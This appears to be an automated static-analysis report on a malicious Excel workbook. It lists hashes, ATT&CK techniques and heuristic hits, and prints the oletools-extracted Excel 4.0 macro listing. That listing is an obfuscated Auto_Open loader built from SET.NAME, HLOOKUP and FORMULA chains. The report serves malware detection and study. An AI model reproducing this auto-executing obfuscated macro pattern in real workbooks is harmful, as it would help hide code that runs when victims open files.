Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ef1012355c77a6ff…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:45:37 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 748e5c3284daf167379cca28d2e7064f SHA-1: f5c71ad5359b74ec20e112983cb0063fb3b4b80b SHA-256: ef1012355c77a6ff48b7daccfd1cc435cc780281f9f56094f83010f20b718ea0
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open function, which is a known method for executing malicious code upon opening the workbook. The presence of dangerous formula APIs like RUN indicates the macro is designed to execute commands. While no specific URLs or payloads were extracted, the technique strongly suggests the intent is to download and execute a secondary malicious payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6612 bytes
SHA-256: fd50090bd0fb9d93198a4ef0c817d2d385e2a434b6029483dbdda08ca3a3d6fe
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  sjLPNjQgFK
' 0018     25 LABEL : Cell Value, String Constant - AFRhXFCoog len=0 
' 0018     27 LABEL : Cell Value, String Constant - AnkPFbSzJSrV len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E150 
' 0018     24 LABEL : Cell Value, String Constant - bGpwHACaH len=0 
' 0018     25 LABEL : Cell Value, String Constant - bGpWUKAATl len=0 
' 0018     20 LABEL : Cell Value, String Constant - Cziqh len=0 
' 0018     25 LABEL : Cell Value, String Constant - HFaJIttxPr len=0 
' 0018     27 LABEL : Cell Value, String Constant - hzPZJaMrynCZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - IXhlJPzJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - juCzUdA len=0 
' 0018     22 LABEL : Cell Value, String Constant - OejVSmX len=0 
' 0018     23 LABEL : Cell Value, String Constant - OiVRnczX len=0 
' 0018     26 LABEL : Cell Value, String Constant - SYBuaYbKnrF len=0 
' 0018     20 LABEL : Cell Value, String Constant - UISxt len=0 
' 0018     23 LABEL : Cell Value, String Constant - uSYJbVpq len=0 
' 0018     22 LABEL : Cell Value, String Constant - wdzubMk len=0 
' 0018     26 LABEL : Cell Value, String Constant - wqrjuCKricQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - WuuIgYZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - XKGDB len=0 
' 0018     26 LABEL : Cell Value, String Constant - XVsFUAKiGNj len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZiagK len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  sjLPNjQgFK,E61,"SET.NAME("XVsFUAKiGNj",VALUE("0"))",""
'  sjLPNjQgFK,E64,"SET.NAME("bGpWUKAATl",XVsFUAKiGNj)",""
'  sjLPNjQgFK,E69,"SET.NAME("wdzubMk",XVsFUAKiGNj)",""
'  sjLPNjQgFK,E72,"SET.NAME("bGpwHACaH",COUNTA(AnkPFbSzJSrV))",""
'  sjLPNjQgFK,E77,"SET.NAME("SYBuaYbKnrF",COUNTA(Cziqh))",""
'  sjLPNjQgFK,E80,[],""
'  sjLPNjQgFK,E83,"SET.NAME("hzPZJaMrynCZ","")",""
'  sjLPNjQgFK,E87,"bGpWUKAATl",""
'  sjLPNjQgFK,E90,"SET.NAME("wqrjuCKricQ",HLOOKUP("*",AnkPFbSzJSrV,bGpWUKAATl,FALSE))",""
'  sjLPNjQgFK,E92,"IXhlJPzJ",""
'  sjLPNjQgFK,E95,"SET.NAME("OejVSmX",XVsFUAKiGNj)",""
'  sjLPNjQgFK,E98,[],""
'  sjLPNjQgFK,E101,"OejVSmX",""
'  sjLPNjQgFK,E104,"WuuIgYZ",""
'  sjLPNjQgFK,E107,"UISxt",""
'  sjLPNjQgFK,E109,"AFRhXFCoog",""
'  sjLPNjQgFK,E112,"SET.NAME("OiVRnczX",VALUE(HLOOKUP("*",Cziqh,AFRhXFCoog,FALSE)))",""
'  sjLPNjQgFK,E115,"juCzUdA",""
'  sjLPNjQgFK,E119,"hzPZJaMrynCZ",""
'  sjLPNjQgFK,E124,"wdzubMk",""
'  sjLPNjQgFK,E128,NEXT(),""
'  sjLPNjQgFK,E131,"XKGDB",""
'  sjLPNjQgFK,E133,"SET.NAME("f",INT(T(FORMULA(T(hzPZJaMrynCZ)&"",""&T(XKGDB)))))",""
'  sjLPNjQgFK,E137,"ZiagK",""
'  sjLPNjQgFK,E142,NEXT(),""
'  sjLPNjQgFK,E145,RETURN(),""
'  sjLPNjQgFK,E168,"SET.NAME("uSYJbVpq",E61)",""
'  sjLPNjQgFK,E170,"AnkPFbSzJSrV",""
'  sjLPNjQgFK,E175,"SET.NAME("Cziqh",R42C14)",""
'  sjLPNjQgFK,E178,"SET.NAME("ZiagK",185)",""
'  sjLPNjQgFK,E180,"SET.NAME("HFaJIttxPr",5)",""
'  sjLPNjQgFK,E184,uSYJbVpq(),""
'  sjLPNjQgFK,E185,HALT(),""

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